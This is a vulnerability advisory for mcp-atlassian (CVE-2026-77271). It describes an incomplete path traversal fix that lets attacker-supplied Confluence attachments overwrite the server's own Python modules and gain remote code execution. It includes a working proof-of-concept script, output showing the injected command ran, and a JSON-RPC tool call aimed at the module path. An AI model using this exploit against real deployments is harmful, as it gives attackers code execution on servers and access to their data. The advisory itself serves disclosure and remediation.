CVE-2026-77271: MCP Atlassian: Incomplete path traversal fix allows intra-CWD module overwrite and RCE (bypass of GHSA-xjgw-4wvw-rgm4)
### Summary The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. `validate_safe_path()` is called without an explicit `base_dir`, defaulting to `os.getcwd()`. In standard container deployments the process CWD is the application directory (e.g. `/app`), so paths within that directory, including the application's own Python source modules, pass validation without raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest). ### Details `src/mcp_atlassian/utils/io.py` — `validate_safe_path()` defaults to CWD when no `base_dir` is supplied: ```python def validate_safe_path(path, base_dir=None) -> Path: if base_dir is None: base_dir = os.getcwd() # root of the issue resolved_base = Path(base_dir).resolve(strict=False) ... if not resolved_path.is_relative_to(resolved_base): raise ValueError("Path traversal detected") ``` Both call sites in `src/mcp_atlassian/confluence/attachments.py` omit `base_dir`: ```python validate_safe_path(target_path) # line ~227, download_attachment() validate_safe_path(target_dir) # line ~270, download_content_attachments() ``` When the process CWD is `/app`, any path under `/app` satisfies `is_relative_to(CWD)` and passes the guard, including all Python source modules: ``` /app/src/mcp_atlassian/confluence/attachments.py -> passes, no exception /app/src/mcp_atlassian/servers/main.py -> passes, no exception /app/.env -> passes, no exception ``` ### PoC **Prerequisites:** same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port. Additionally requires Python 3.10+ and `uvx` to run the proof below. The script imports `validate_safe_path` directly from the installed package, not a simulation of the function. ```python # poc_bypass.py import os, tempfile, shutil, importlib.util from pathlib import Path from mcp_atlassian.utils.io import validate_safe_path # real package print(f"Module: {validate_safe_path.__module__}") # Simulate /app (standard container CWD) app_dir = tempfile.mkdtemp(prefix="mcp_atlassian_app_") module_dir = os.path.join(app_dir, "src", "mcp_atlassian") os.makedirs(module_dir) module_path = os.path.join(module_dir, "attachments.py") Path(module_path).write_text('def get_secret(): return "LEGITIMATE"\n') os.chdir(app_dir) # Control: classic traversal is blocked try: validate_safe_path("/etc/passwd") except ValueError: print("[OK] /etc/passwd blocked") # Bypass: intra-CWD path passes without exception result = validate_safe_path(module_path) print(f"[BYPASS] {result} - no exception raised") # Overwrite module with attacker payload # (content sourced from a Confluence attachment uploaded by the attacker) Path(module_path).write_bytes( b"import os\n_PWNED=True\n" b"def get_secret():\n" b" os.system('id')\n" b" return 'PWNED'\n" ) print("[WRITE] Module overwritten with malicious payload") # Simulate process restart / module reload spec = importlib.util.spec_from_file_location("m", module_path) mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) # os.system('id') executes here print(f"[RCE] get_secret() = {repr(mod.get_secret())}") print(f"[RCE] _PWNED = {mod._PWNED}") shutil.rmtree(app_dir) ``` ```bash uvx --from mcp-atlassian python poc_bypass.py ``` **Verified output (mcp-atlassian 0.21.0):** ``` Module: mcp_atlassian.utils.io [OK] /etc/passwd blocked [BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised [WRITE] Module overwritten with malicious payload uid=1000(appuser) gid=1000(appuser) groups=1000(appuser) [RCE] get_secret() = 'PWNED' [RCE] _PWNED = True ``` **Triggering via MCP tool:** upload a malicious `.py` file as a Confluence attachment, then call: ```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "confluence_download_attachment", "arguments": { "page_id": "<page_id>", "attachment_id": "<malicious_attachment_id>", "download_path": "/app/src/mcp_atlassian/confluence/attachments.py" } } } ``` `validate_safe_path` does not raise. The module is overwritten and the payload executes on the next process restart. ### Impact **Affected versions:** 0.17.0 through 0.21.0 (latest). Attack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to >= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to `0.0.0.0` with no authentication by default. **Suggested fix:** pass a dedicated, explicitly configured directory as `base_dir` instead of relying on CWD: ```python _DOWNLOAD_BASE = Path( os.environ.get("MCP_DOWNLOAD_DIR", "/tmp/mcp-downloads") ).resolve() validate_safe_path(target_path, base_dir=_DOWNLOAD_BASE) ```
Recommended action
Recommended action
Upgrade affected packages to a patched version: mcp-atlassian 0.22.0.
Technical details
- Vendor
- Not specified
- Product
- mcp-atlassian
- Exploitation
- none known
- Evidence
- official
Evidence and sources
This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.
Open primary source